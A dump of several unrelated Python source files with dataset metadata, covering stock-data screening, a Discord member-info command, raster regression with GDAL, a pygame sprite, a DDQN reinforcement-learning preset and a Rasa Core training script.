yahooFundementals ''')[0]\r\ntimeseriesTicks = dBaseAction(dBase1, ''' select distinct ticker from yahooDaily ''')[0]\r\n#cleanTicks = dBaseAction(dBase, ''' select distinct ticker from yahooDailyClean ''')[0]\r\nexchangeMap = dBaseAction(dBase, ''' SELECT * from exchangeMap ''')[0]\r\n\r\nfx = dBaseAction(dBase,''' SELECT timestamp,symbol,last_trade_price_only from yahooFundementals where symbol like \"%=%\" ''')[0]\r\nfx = fx.pivot_table(index = 'timestamp', columns = 'symbol', values = 'last_trade_price_only', aggfunc = sum )\r\nfx = fx.replace('N/A',np.nan)\r\nfxRate = fx.apply(lambda x: x[ x.index == x.last_valid_index()].astype(float)[0])\r\nfxRate = fxRate.replace(np.nan,1)\r\nfx = pd.DataFrame({'symbol':fxRate.index,\r\n 'fx': fxRate.values})\r\nfx = fx[ fx.symbol.apply(lambda x: len(x)) == 5]\r\n## set all multi's to the same level as GBP?\r\nukEx = fx[ fx.symbol == 'GBP=X'].fx.values.astype(float)\r\nfx['ccy'] = fx.symbol.apply(lambda x: x[:3])\r\nfx.fx = 1/fx.fx.astype(float)*ukEx[0]\r\nfx = pd.concat([fx, pd.DataFrame({'ccy':'multi','symbol':'multi','fx':1.0}, index = [0])]).reset_index(drop = True)\r\n\r\ntickers = pd.concat([tickersBase[['category', 'exchange', 'name', 'ticker', 'type']].drop_duplicates().reset_index(drop = True),\\\r\n tickersBase1[['category', 'exchange', 'name', 'ticker', 'type']].drop_duplicates().reset_index(drop = True)]).drop_duplicates().reset_index(drop = True)\r\n\r\ntickers = tickers[tickers.type.isin(['stock', 'etf', 'index', 'mutual_fund','future','warrant','bond','currency'])]\r\ntickers = tickers.drop_duplicates().reset_index(drop = True)\r\ntickers = tickers[['category', 'exchange', 'name', 'ticker', 'type']].drop_duplicates().reset_index(drop = True)\r\ntickExchange = tickers[['ticker','exchange']].drop_duplicates().reset_index(drop = True)\r\ntickExchange = tickExchange.drop_duplicates(subset = 'ticker', keep = 'last')\r\n\r\n#ticksUse = pd.DataFrame(pd.concat([timeseriesTicks.iloc[:,0],fundementalTicks.iloc[:,0], cleanTicks.iloc[:,0], tickers.ticker]).drop_duplicates()).reset_index(drop=True)\r\nticksUse = pd.DataFrame(pd.concat([timeseriesTicks.iloc[:,0],fundementalTicks.iloc[:,0], tickers.ticker]).drop_duplicates()).reset_index(drop=True)\r\n#del( fundementalTicks,cleanTicks,uniqueDates, timeseriesTicks, tickers)\r\ndel( fundementalTicks,uniqueDates, timeseriesTicks, tickers)\r\ngc.collect()\r\n\r\n## Max requests from dataBase is 1000\r\nnPerSample = 1000\r\nnPerSet = 5\r\nsets = int(len(ticksUse)/(nPerSample*nPerSet))\r\n\r\ntotalSeriesYahoo = []\r\n## loop sets\r\n## for each base set, calculate stats etc, then correlations against all remaining sets. \r\n## only do corrs n:len, dont need to do prior as n vs n+1 is covered when doing n, so dont need to do when base is n+1 (except for lag i.e 1 vs lag 2, 2 vs lag 1)\r\n\r\ncleansed = []\r\nstats = []\r\nlogCrossPastUp = []\r\nlogCrossPastDown = []\r\nlogCrossPastUpClimbing = []\r\nlogClimbing = []\r\nlogMomentum = []\r\nlogCrossNowUp = []\r\nlogCrossNowDown = []\r\nlogDecelerateUp = []\r\nlogDecelerateDown = []\r\nbreakOutsUp = []\r\nbreakOutsDown = []\r\n\r\nsizeList = []\r\nkk= pd.Series(dir())\r\nfor jj in range(len(kk)):\r\n sizeList.append(pd.DataFrame({'name':kk[jj],\r\n 'size':sys.getsizeof(eval(kk[jj]))}, index = [0]))\r\n\r\npd.concat(sizeList).sort_values(by = 'size')\r\n\r\nfor i in range(int(sets+1)):\r\n totalSeriesYahoo = []\r\n closePriceData = []\r\n for j in range(nPerSet):\r\n print(str(i+1) + ' of ' + str(int(sets+1)) + ' base - ' + str(j))\r\n tickerSetFilter = ticksUse.iloc[((i*nPerSet+j)*nPerSample):(((i*nPerSet+j)*nPerSample)+min(len(ticksUse)-(i*nPerSet+j)*nPerSample,nPerSample)-1),0].reset_index(drop=True).tolist()\r\n tickerSet = ['\"' + x + '\"' for x in tickerSetFilter]\r\n tickerJoin = ' OR ticker = '.join(tickerSet)\r\n symbolJoin = ' OR symbol = '.join(tickerSet)\r\n \r\n cmd = ''' Select timestamp,symbol,name,stock_exchange,type,last_trade_price_only,open, previous_close, days_high, days_low,volume,earnings_per_share,eps_estimate_current_year,eps_estimate_next_year,eps_estimate_next_quarter,price__to__book,p_to_e_ratio,peg_ratio, price__to__eps_estimate_current_year,price__to__eps_estimate_next_year,market_capitalization, short_ratio from yahooFundementals WHERE symbol = ''' + symbolJoin + ''' '''\r\n closePriceData.append(dBaseAction(dBase, cmd)[0])\r\n \r\n if not fullClean:\r\n try:\r\n cmds = [''' SELECT * from \"yahooDailyClean\" WHERE ticker = ''' + tickerJoin + ''' ''']\r\n timeSeries = dBaseAction(dBase = dBase, readSQL=cmds)[0]\r\n dateFrom = min([timeSeries.timestamp[ timeSeries.ticker == x].max() for x in timeSeries.ticker.unique()])\r\n cleanTicks = timeSeries.ticker.unique()\r\n tickerSet = ['\"' + x + '\"' for x in cleanTicks]\r\n tickerJoin = ' OR ticker = '.join(tickerSet)\r\n cmds = [''' SELECT * from \"yahooDaily\" WHERE ticker = ''' + tickerJoin + ''' ''']\r\n timeSeriesExtra = dBaseAction(dBase = dBase, readSQL=cmds)[0] \r\n timeSeriesExtra = timeSeriesExtra[ timeSeriesExtra.timestamp.astype('datetime64[D]') > np.datetime64(dateFrom)]\r\n missingTicks = np.array(tickerSetFilter)[ ~np.in1d(tickerSetFilter,timeSeries.ticker)].tolist()\r\n tickerSet = ['\"' + x + '\"' for x in missingTicks]\r\n tickerJoin = ' OR ticker = '.join(tickerSet)\r\n except:\r\n timeSeriesExtra = pd.DataFrame()\r\n timeSeries = pd.DataFrame()\r\n \r\n else:\r\n timeSeriesExtra = pd.DataFrame()\r\n cmds = [''' SELECT * from \"yahooDaily\" WHERE ticker = ''' + tickerJoin + ''' ''']\r\n timeSeries = dBaseAction(dBase = dBase1, readSQL=cmds)[0]\r\n \r\n timeSeries = pd.concat([timeSeries, timeSeriesExtra]).reset_index(drop = True) \r\n totalSeriesYahoo.append(timeSeries)\r\n \r\n closePriceData = pd.concat(closePriceData).reset_index(drop =True)\r\n closePriceData = closePriceData[ (closePriceData.last_trade_price_only != 'N/A') & closePriceData.symbol.isin(ticksUse.iloc[:,0].tolist())].reset_index(drop = True)\r\n closePriceData = closePriceData.replace('N/A',np.nan)\r\n closePriceData[closePriceData.columns[~closePriceData.columns.isin(['timestamp','symbol','name','stock_exchange', 'type'])]] = \\\r\n closePriceData[closePriceData.columns[~closePriceData.columns.isin(['timestamp','symbol','name', 'stock_exchange', 'type'])]].astype(float)\r\n closePriceData.timestamp = closePriceData.timestamp.astype('datetime64[D]')\r\n closePriceData = closePriceData.rename(columns = {'days_high':'high','days_low':'low','previous_close':'close','last_trade_price_only':'adj_close'})\r\n\r\n base = pd.concat(totalSeriesYahoo).reset_index(drop = True)\r\n if (base.shape[0] == 0) | (base.ticker.unique().shape[0] > 1):\r\n continue\r\n else:\r\n logi = i\r\n \r\n try:\r\n base = base.replace({None:np.nan,'N/A':np.nan}, regex = True)\r\n base[['adj_close','close','high','low','open','volume']] = base[['adj_close','close','high','low','open','volume']].astype(float)\r\n except:\r\n pass\r\n base = base[~(base.timestamp.astype(str).str.contains('b'))]\r\n base = base[ ~np.isnan(base.adj_close) ].reset_index(drop = True)\r\n base = base.drop_duplicates().reset_index(drop = True)\r\n base.timestamp = base.timestamp.astype('datetime64[D]')\r\n base = base.drop(['ID'], axis = 1)\r\n del(totalSeriesYahoo,timeSeries,timeSeriesExtra)\r\n #baseMerge = pd.merge(base, uniqueDates, left_on = 'timestamp', right_on = 'timestamp')\r\n \r\n colList = ['adj_close']\r\n for col in colList:\r\n print(col)\r\n cutDates = True if col == 'adj_close' else False\r\n basePivot = base.pivot_table(index = 'timestamp', columns = 'ticker', values = col, aggfunc = sum)\r\n \r\n ## cleanData\r\n ## Note when we clean and append the data from the daily fundementals, if tbe high or low or whatever is nan in the fundemental data for particular \r\n ## tickers, these will be dropped from the clean set, however these will persist in the trend following if the adj_close data is ok.\r\n \r\n baseClean = DataOps(timeSeriesData = basePivot)\r\n baseCleanMelt,_ = baseClean.cleanseTimeSeries(fundementalPrices = closePriceData[closePriceData.symbol.isin(basePivot.columns) ], fundColName = col, \\\r\n cutMissingDates = cutDates,dates = dates, cores = 4)\r\n if col == 'adj_close':\r\n volPivot = base.pivot_table(index = 'timestamp', columns = 'ticker', values = 'volume', aggfunc = sum)\r\n volClean = DataOps(timeSeriesData = volPivot[ baseCleanMelt.columns])\r\n volsCleanMelt,_ = volClean.cleanseTimeSeries(fundementalPrices = closePriceData[closePriceData.symbol.isin(volPivot.columns) ], fundColName = 'volume', \r\n justFill = True,dates = dates)\r\n volsCleanMeltDF = volsCleanMelt.copy()\r\n volsCleanMeltDF.reset_index(inplace = True)\r\n volsCleanMeltDF = volsCleanMeltDF.rename(columns = {'index':'timestamp'})\r\n volsCleanMeltDF = pd.melt(volsCleanMeltDF, id_vars = ['timestamp'])\r\n volsCleanMeltDF = volsCleanMeltDF.rename(columns = {'value':'volume'})\r\n \r\n baseCleanDF = baseCleanMelt.copy()\r\n volCleanDF = volsCleanMelt.copy()\r\n \r\n del(baseCleanMelt, baseClean, basePivot, volClean, volsCleanMelt, volPivot, volsCleanMeltDF)\r\n gc.collect()\r\n \r\n '''############### get returns and stats ################'''\r\n \r\n baseClean = DataOps(timeSeriesData = baseCleanDF, volData = volCleanDF)\r\n #baseClean.getStats()\r\n #stats.append(baseClean.statsReport)\r\n tickExchangeMap = pd.merge(pd.DataFrame({'ticker':baseClean.timeSeriesData.columns}), tickExchange, on = 'ticker')\r\n tickExchangeMap = pd.merge(tickExchangeMap, exchangeMap[['yahoo_exchange','ccy','level']], left_on = 'exchange', right_on = 'yahoo_exchange')\r\n ##adjust ccy for ccy pairs not in USD\r\n tickExchangeMap.ccy[ tickExchangeMap.ticker.str.contains('=X') & (tickExchangeMap.ticker.str.len() > 5)] = \\\r\n tickExchangeMap[ tickExchangeMap.ticker.str.contains('=X') & (tickExchangeMap.ticker.str.len() > 5)].ticker.str[3:6].values\r\n tickExchangeMap = pd.merge(tickExchangeMap, fx[['ccy','fx']], left_on = 'ccy', right_on = 'ccy')\r\n \r\n ## need to add ccy timeSeries exchanges to data as they are not in exchangeMap\r\n ccys = pd.DataFrame({'ticker':baseClean.timeSeriesData.columns})[ pd.DataFrame({'ticker':baseClean.timeSeriesData.columns}).ticker.str.contains('=')]\r\n appendCcys = pd.DataFrame({'ticker':ccys.ticker,\r\n 'exchange':ccys.ticker,\r\n 'yahoo_exchange':ccys.ticker,\r\n 'level':1,\r\n 'ccy':'ccy'}).reset_index(drop = True)\r\n ## long ccys have to stay as they are as we want to see patterns of different ccys against eachother - filter them into a different report?\r\n longCcy = np.where(appendCcys.ticker.str.len() == 8)[0]\r\n shortCcy = np.where(appendCcys.ticker.str.len() == 5)[0]\r\n appendCcys['fx'] = 1\r\n appendCcys['fx'][shortCcy] = fx.fx[ fx.symbol.isin(appendCcys.ticker[shortCcy.tolist()])]\r\n appendCcys['ccy'][shortCcy] = 'GBP'\r\n tickExchangeMap = pd.concat([tickExchangeMap, appendCcys]) .reset_index(drop = True)\r\n tickExchangeMap = \\\r\n tickExchangeMap.drop_duplicates('ticker').reset_index(drop = True)\r\n if baseClean.timeSeriesData.shape[1] > 1:\r\n baseClean.getWaveRider(tickExchangeMap = tickExchangeMap)\r\n \r\n closePriceData = closePriceData[ closePriceData.timestamp == closePriceData.timestamp.max()][['symbol','volume','earnings_per_share','eps_estimate_current_year','eps_estimate_next_year','eps_estimate_next_quarter','price__to__book','p_to_e_ratio','peg_ratio','price__to__eps_estimate_current_year','price__to__eps_estimate_next_year','market_capitalization','short_ratio','average_daily_volume']]\r\n upReport = pd.merge(baseClean.logCrossPastUp,closePriceData, left_on = 'ticker', right_on = 'symbol')\r\n downReport = pd.merge(baseClean.logCrossPastDown,closePriceData, left_on = 'ticker', right_on = 'symbol')\r\n \r\n \r\n closePriceData = closePriceData[ closePriceData.timestamp == closePriceData.timestamp.max()][['symbol','volume','market_capitalization','short_ratio','average_daily_volume']]\r\n climbReport = pd.merge(baseClean.logClimbing, base[['ticker','type']].drop_duplicates(), on = ['ticker']).reset_index(drop = True)\r\n climbReport = pd.merge(climbReport,closePriceData, left_on = 'ticker', right_on = 'symbol')\r\n momentum = pd.merge(baseClean.momentum, base[['ticker','type']].drop_duplicates(), on = ['ticker']).reset_index(drop = True)\r\n momentum = pd.merge(momentum,closePriceData, left_on = 'ticker', right_on = 'symbol')\r\n\r\n \r\n \r\n climbReportCross = pd.merge(baseClean.logCrossPastUpClimbing, base[['ticker','type']].drop_duplicates(), on = ['ticker']).reset_index(drop = True)\r\n #upReport = pd.merge(upReport,base, left_on = 'ticker', right_on = 'ticker')\r\n #downReport = pd.merge(downReport,base, left_on = 'ticker', right_on = 'ticker')\r\n \r\n \r\n logCrossPastUp.append(upReport)\r\n logCrossPastDown.append(downReport)\r\n logCrossPastUpClimbing.append(climbReportCross)\r\n logClimbing.append(climbReport)\r\n logMomentum.append(momentum)\r\n logCrossNowUp.append(baseClean.logCrossNowUp)\r\n logCrossNowDown.append(baseClean.logCrossNowDown)\r\n logDecelerateUp.append(baseClean.logDecelerateUp)\r\n logDecelerateDown.append(baseClean.logDecelerateDown)\r\n breakOutsUp.append(baseClean.breakOutReportUp)\r\n breakOutsDown.append(baseClean.breakOutReportDown)\r\n \r\n del(baseClean)\r\n gc.collect()\r\n\r\n\r\nlogCrossPastUp = pd.concat(logCrossPastUp).reset_index(drop = True).to_csv('C:\\\\Users\\\\Nick\\\\Documents\\\\project MONEY\\\\Incubator\\\\IncubateCrossPastUp_' + str(np.datetime64(datetime.now().date())).replace('-','') + '.csv', sep =',')\r\nlogCrossPastDown = pd.concat(logCrossPastDown).reset_index(drop = True).to_csv('C:\\\\Users\\\\Nick\\\\Documents\\\\project MONEY\\\\Incubator\\\\IncubateCrossPastDown_' + str(np.datetime64(datetime.now().date())).replace('-','') + '.csv', sep =',')\r\nlogCrossPastUpClimbing = pd.concat(logCrossPastUpClimbing).reset_index(drop = True).to_csv('C:\\\\Users\\\\Nick\\\\Documents\\\\project MONEY\\\\Incubator\\\\IncubateCrossPastUpClimbing' + str(np.datetime64(datetime.now().date())).replace('-','') + '.csv', sep =',')\r\nlogClimbing = pd.concat(logClimbing).reset_index(drop = True).to_csv('C:\\\\Users\\\\Nick\\\\Documents\\\\project MONEY\\\\Incubator\\\\IncubateClimbing' + str(np.datetime64(datetime.now().date())).replace('-','') + '.csv', sep =',')\r\nmomentum = pd.concat(logMomentum).reset_index(drop = True).to_csv('C:\\\\Users\\\\Nick\\\\Documents\\\\project MONEY\\\\Incubator\\\\IncubateMomentum' + str(np.datetime64(datetime.now().date())).replace('-','') + '.csv', sep =',')\r\n \r\n ","sub_path":"1st iteration/Archive/Incubate.py","file_name":"Incubate.py","file_ext":"py","file_size_in_byte":17140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"377643653","text":"import discord\n\nfrom discord.ext import commands\n\nclass utility(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n async def joined(self, ctx, member : str):\n \"\"\"Says when a member joined.\"\"\"\n if str(ctx.message.author.id) != '194972515460710400':\n return\n\n if len(member) > 20:\n await ctx.send('Invalid ID.')\n return\n try:\n member_obj = await commands.MemberConverter().convert(ctx, member)\n except:\n await ctx.send('User not found.')\n return\n\n icon_url = member_obj.avatar_url_as()\n e = discord.Embed(type='rich', title='User Details', color=int('e6ffff', 16))\n e.set_thumbnail(url=icon_url)\n e.add_field(name='Name', value=str(member_obj))\n e.add_field(name='ID', value=member_obj.id)\n e.add_field(name='Nickname', value=member_obj.nick)\n e.add_field(name='Date Joined', value=member_obj.joined_at.strftime(\"%c\"))\n s = ', '.join([role.name for role in member_obj.roles[1:]])\n e.add_field(name='Roles', value=s)\n\n await ctx.send(embed=e)\n\ndef setup(bot):\n bot.add_cog(utility(bot))\n\n\n\n","sub_path":"cogs/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"22578268","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\n\nclass paramsClass:\n def __init__(self):\n return\n \nperformanceParams = paramsClass()\neconomicParams = paramsClass()\nsysParams = paramsClass()\n\neconomicParams.k=0.001\neconomicParams.dDecay=2.\neconomicParams.dScale=5\neconomicParams.g=0.04\neconomicParams.A=1\neconomicParams.u=1.\neconomicParams.a=0.95\neconomicParams.b=0.9\neconomicParams.t1=1.\neconomicParams.t2=np.inf\neconomicParams.citySize = 10.\n\neconomicParams.balancedTheta = (1-economicParams.a)/(1-economicParams.a*economicParams.b)\n\nperformanceParams.steps = 1000\n\ndef initZ():\n return np.linspace(200,0,performanceParams.steps)\n #return np.linspace(200,0,performanceParams.steps)\n\nperformanceParams.initialZ = initZ\n\nsysParams.outpath = \"..\\\\..\\\\outsg\" #\"d:\\\\UrbanModels\\\\outsg\"\nsysParams.zpath = \"..\\\\zs\"","sub_path":"params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"156875100","text":"import pygame\nfrom pygame.locals import *\nimport random\n\n\nclass Enemy(pygame.sprite.Sprite):\n enemy_image = None\n\n def __init__(self):\n super(Enemy, self).__init__()\n if Enemy.enemy_image == None:\n Enemy.enemy_image = pygame.image.load(\n 'assets/missile.png').convert()\n Enemy.enemy_image.set_colorkey((255, 255, 255), RLEACCEL)\n self.image = Enemy.enemy_image\n self.rect = self.image.get_rect(\n center=(random.randint(820, 900), random.randint(0, 600)))\n self.speed = random.randint(4, 8)\n\n def update(self):\n self.rect.move_ip(-self.speed, 0)\n if self.rect.right < 0:\n self.kill()\n","sub_path":"enemy.py","file_name":"enemy.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"89828376","text":"import os\n\n\nclass Config(object):\n SECRET_KEY = os.environ.get('SECRET_KEY') or \"you will never guess\"\n\nhost = os.getenv('HOST')\nport = os.getenv('PORT')\nswagger_url = os.getenv('SWAGGER_URL') or \"http://addressindex-api-beta.apps.devtest.onsclofo.uk/assets/swagger.json\"\napi_url = os.getenv('API_URL') or \"http://addressindex-api-beta.apps.devtest.onsclofo.uk\"\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"115921361","text":"from osgeo import ogr\nimport gdal\nimport numpy as np\nimport pandas as pd\nimport sklearn.linear_model as sk\n\nclass RegMapper():\n def __init__(self, sampled_points, rasters):\n self.shapefile_path = sampled_points\n self.regression_list = list()\n self.raster_list = rasters\n self.array_list = []\n self.CreateRegressionList(self.raster_list)\n def NumRasters(self):\n return (len(self.raster_list))\n def AddRasters(self, rasters):\n self.raster_list.append(rasters)\n return 0\n def SetRSquare(self,R):\n self.RS = R\n def GetRSquared(self):\n return self.RS\n def SetCoef(self,coef):\n self.coef = coef\n def GetCoef(self):\n return self.coef\n def SetIntercept(self,intercept):\n self.intercept = intercept\n def GetIntercept(self):\n return self.intercept\n def GetRegressionList(self):\n return self.regression_list\n def GetRasterList(self):\n return self.raster_list\n def ExtractPointValue(self, raster, x, y):\n raster_open = gdal.Open(raster)\n raster_array = raster_open.ReadAsArray().astype(np.float)\n transform = raster_open.GetGeoTransform()\n transform_inverse = gdal.InvGeoTransform(transform)\n transformed_points = gdal.ApplyGeoTransform(transform_inverse, float(x), float(y))\n x_int = int(transformed_points[0])\n y_int = int(transformed_points[1])\n raster_open = None\n return raster_array[y_int, x_int]\n\n def CreateRegressionList(self, rasters):\n id_cnt = 0\n shapefile_driver = ogr.GetDriverByName(\"ESRI Shapefile\")\n shapefile_sample = self.shapefile_path\n sample_source = shapefile_driver.Open(shapefile_sample, 1)\n sample_layer = sample_source.GetLayer()\n testlist = list()\n for feature in sample_layer:\n testlist.append(feature)\n for feature in testlist:\n raster_vals = []\n geom_sample = feature.GetGeometryRef()\n geomstr = str(geom_sample)\n geom_xy_str = geomstr[7:-1]\n geom_xy = geom_xy_str.split()\n sample_value = int(feature.GetField(\"value_\"))\n for i in rasters:\n val = self.ExtractPointValue(i, geom_xy[0], geom_xy[1])\n raster_vals.append(val)\n sample_vals = [int(id_cnt), geom_sample, float(geom_xy[0]), float(geom_xy[1]),\n sample_value]\n for i in range(len(rasters)):\n sample_vals.append(raster_vals[i])\n self.regression_list.append(sample_vals)\n id_cnt += 1\n\n def PerformRegression(self):\n import regression\n self.lm = sk.LinearRegression()\n raster_num = 0\n combined_list = []\n self.array_queue_list = []\n for i in self.regression_list:\n raster_value_list = list()\n for z in i[4:]:\n raster_value_list.append(z)\n combined_list.append(raster_value_list)\n regression_array = np.zeros(shape=(len(self.regression_list), len(combined_list[0])))\n for i in range(len(combined_list)):\n regression_array[i] = combined_list[i]\n len_array = []\n for i in range(len(combined_list[0])-1):\n len_array.append(i+1)\n self.final_list = regression_array\n self.lm.fit(\n regression_array[:, len_array].reshape(len(regression_array[:, len_array]),\n len_array[-1]), regression_array[:, 0])\n self.SetCoef(self.lm.coef_)\n self.SetRSquare(self.lm.score(\n regression_array[:, len_array].reshape(len(regression_array[:, len_array]),\n len_array[-1]), regression_array[:, 0]))\n get_shape_open = gdal.Open(self.raster_list[1])\n get_shape = get_shape_open.ReadAsArray().astype(np.float)\n raster_shape = get_shape.shape\n get_shape_open = None\n base_array = np.full(raster_shape, self.lm.intercept_)\n self.SetIntercept(self.lm.intercept_)\n sublist =regression.InitializeRegression(self.regression_list,self.raster_list,self.lm.coef_)\n for i in sublist:\n base_array = np.add(base_array, i)\n self.outraster = base_array\n for cell in np.nditer(self.outraster, op_flags=['readwrite']):\n if cell < 0:\n cell[...] = 0\n\n def CreateRaster(self,outlocation):\n projection_raster = gdal.Open(self.raster_list[0])\n geotrans = projection_raster.GetGeoTransform()\n pixels_x = projection_raster.RasterXSize # Number of pixels wide\n pixels_y = projection_raster.RasterYSize # Number of pixels tall\n pixel_size = geotrans[1] # Pixel size (must be same in both directions)\n origin_x = geotrans[0] # Upper left corner X\n origin_y = geotrans[3] # Upper left corner Y\n driver = gdal.GetDriverByName('GTiff')\n output_raster = driver.Create(outlocation, pixels_x, pixels_y, 1, gdal.GDT_Float32)\n output_raster.SetGeoTransform((origin_x, pixel_size, 0, origin_y, 0, -pixel_size))\n output_raster_projection_wkt = projection_raster.GetProjection()\n output_raster.SetProjection(output_raster_projection_wkt)\n output_raster.GetRasterBand(1).WriteArray(self.outraster)\n output_raster.FlushCache()\n projection_raster = None\n return print('Output raster successfully written')\n def CreateExcel(self):\n pd_columns = ['Observation Value']\n for i in range(len(self.final_list[0][1:])):\n pd_columns.append('Raster {0} Value'.format(i))\n\n df = pd.DataFrame.from_records(self.final_list, columns=pd_columns)\n\n # Create a Pandas Excel writer using XlsxWriter as the engine.\n writer = pd.ExcelWriter('pandas_simple.xlsx', engine='xlsxwriter')\n\n # Convert the dataframe to an XlsxWriter Excel object.\n df.to_excel(writer, sheet_name='Regression Data')\n\n # Close the Pandas Excel writer and output the Excel file.\n writer.save()\n#if __name__ == '__main__':\n","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":6191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"193348481","text":"from setuptools import setup, find_packages\nimport os\n\nversion = '0.1'\n\ntests_require = []\n\nsetup(\n name='scitran.reaper',\n version=version,\n description='Data collection service',\n classifiers=[\n 'Programming Language :: Python',\n ],\n keywords='scitran',\n author='Gunnar Schaefer',\n author_email='gsfr@stanford.edu',\n url='http://scitran.github.io/',\n packages=find_packages(),\n namespace_packages=['scitran'],\n install_requires=[\n 'pytz',\n 'tzlocal',\n 'requests',\n 'pydicom',\n 'numpy',\n 'nibabel',\n 'dcmstack',\n 'scitran.data',\n ],\n entry_points={\n 'console_scripts': [\n 'dicom_net_reaper=scitran.reaper.dicom_net_reaper:main',\n 'dicom_file_reaper=scitran.reaper.dicom_file_reaper:main',\n 'pfile_reaper=scitran.reaper.pfile_reaper:main',\n ],\n },\n tests_require=tests_require,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"190472132","text":"from torch.optim import Adam\nfrom all.agents import DDQN\nfrom all.approximation import QNetwork, FixedTarget\nfrom all.logging import DummyWriter\nfrom all.memory import PrioritizedReplayBuffer\nfrom all.optim import LinearScheduler\nfrom all.policies import GreedyPolicy\nfrom .models import dueling_fc_relu_q\n\n\ndef ddqn(\n # Common settings\n device=\"cpu\",\n discount_factor=0.99,\n # Adam optimizer settings\n lr=1e-3,\n # Training settings\n minibatch_size=64,\n update_frequency=1,\n target_update_frequency=100,\n # Replay buffer settings\n replay_start_size=1000,\n replay_buffer_size=10000,\n # Exploration settings\n initial_exploration=1.,\n final_exploration=0.,\n final_exploration_frame=10000,\n # Prioritized replay settings\n alpha=0.2,\n beta=0.6,\n):\n \"\"\"\n Dueling Double DQN with Prioritized Experience Replay (PER).\n\n Args:\n device (str): The device to load parameters and buffers onto for this agent.\n discount_factor (float): Discount factor for future rewards.\n last_frame (int): Number of frames to train.\n lr (float): Learning rate for the Adam optimizer.\n minibatch_size (int): Number of experiences to sample in each training update.\n update_frequency (int): Number of timesteps per training update.\n target_update_frequency (int): Number of timesteps between updates the target network.\n replay_start_size (int): Number of experiences in replay buffer when training begins.\n replay_buffer_size (int): Maximum number of experiences to store in the replay buffer.\n initial_exploration (int): Initial probability of choosing a random action,\n decayed until final_exploration_frame.\n final_exploration (int): Final probability of choosing a random action.\n final_exploration_frame (int): The frame where the exploration decay stops.\n alpha (float): Amount of prioritization in the prioritized experience replay buffer.\n (0 = no prioritization, 1 = full prioritization)\n beta (float): The strength of the importance sampling correction for prioritized experience replay.\n (0 = no correction, 1 = full correction)\n \"\"\"\n def _ddqn(env, writer=DummyWriter()):\n model = dueling_fc_relu_q(env).to(device)\n optimizer = Adam(model.parameters(), lr=lr)\n q = QNetwork(\n model,\n optimizer,\n target=FixedTarget(target_update_frequency),\n writer=writer\n )\n policy = GreedyPolicy(\n q,\n env.action_space.n,\n epsilon=LinearScheduler(\n initial_exploration,\n final_exploration,\n replay_start_size,\n final_exploration_frame,\n name=\"epsilon\",\n writer=writer\n )\n )\n replay_buffer = PrioritizedReplayBuffer(\n replay_buffer_size,\n alpha=alpha,\n beta=beta,\n device=device\n )\n return DDQN(q, policy, replay_buffer,\n discount_factor=discount_factor,\n replay_start_size=replay_start_size,\n update_frequency=update_frequency,\n minibatch_size=minibatch_size)\n return _ddqn\n\n\n__all__ = [\"ddqn\"]\n","sub_path":"all/presets/classic_control/ddqn.py","file_name":"ddqn.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"181246875","text":"import numpy as np\n\ndef inputData(path):\n\tx = y = np.array([])\n\twith open(path) as f:\n\t\tcontent = [(float(x.strip().split()[0]),float(x.strip().split()[1])) for x in f.readlines()]\n\t\n\t\tx = np.array([x[0] for x in content])\n\t\ty = np.array([x[1] for x in content])\n\t\tmaxVal = max(np.concatenate((x,y)))\n\t\tx = x/maxVal\n\t\ty = y/maxVal\n\n\treturn (x,y)\n\n#NVAR=len(x)","sub_path":"src/inputData.py","file_name":"inputData.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"396876271","text":"import argparse\nimport logging\nimport os\nimport tempfile\nfrom typing import Text, Dict, Optional\n\nimport rasa_core.cli.train\nfrom rasa_core import config, cli\nfrom rasa_core import utils\nfrom rasa_core.broker import PikaProducer\nfrom rasa_core.domain import TemplateDomain\nfrom rasa_core.interpreter import NaturalLanguageInterpreter\nfrom rasa_core.run import AvailableEndpoints\nfrom rasa_core.tracker_store import TrackerStore\nfrom rasa_core.training.dsl import StoryFileReader\nfrom rasa_core.utils import set_default_subparser\n\nlogger = logging.getLogger(__name__)\n\n\ndef create_argument_parser():\n \"\"\"Parse all the command line arguments for the training script.\"\"\"\n\n parser = argparse.ArgumentParser(\n description='Train a dialogue model for Rasa Core. '\n 'The training will use your conversations '\n 'in the story training data format and '\n 'your domain definition to train a dialogue '\n 'model to predict a bots actions.')\n parent_parser = argparse.ArgumentParser(add_help=False)\n cli.train.add_general_args(parent_parser)\n\n subparsers = parser.add_subparsers(\n help='Training mode of core.',\n dest='mode')\n subparsers.required = True\n\n train_parser = subparsers.add_parser(\n 'default',\n help='train a dialogue model',\n parents=[parent_parser])\n compare_parser = subparsers.add_parser(\n 'compare',\n help='train multiple dialogue models to compare '\n 'policies',\n parents=[parent_parser])\n interactive_parser = subparsers.add_parser(\n 'interactive',\n help='teach the bot with interactive learning',\n parents=[parent_parser])\n\n cli.train.add_compare_args(compare_parser)\n cli.train.add_interactive_args(interactive_parser)\n cli.train.add_train_args(train_parser)\n\n return parser\n\n\ndef train(domain_file: Text, stories_file: Text, output_path: Text,\n interpreter: Optional[NaturalLanguageInterpreter] = None,\n endpoints: AvailableEndpoints = AvailableEndpoints(),\n 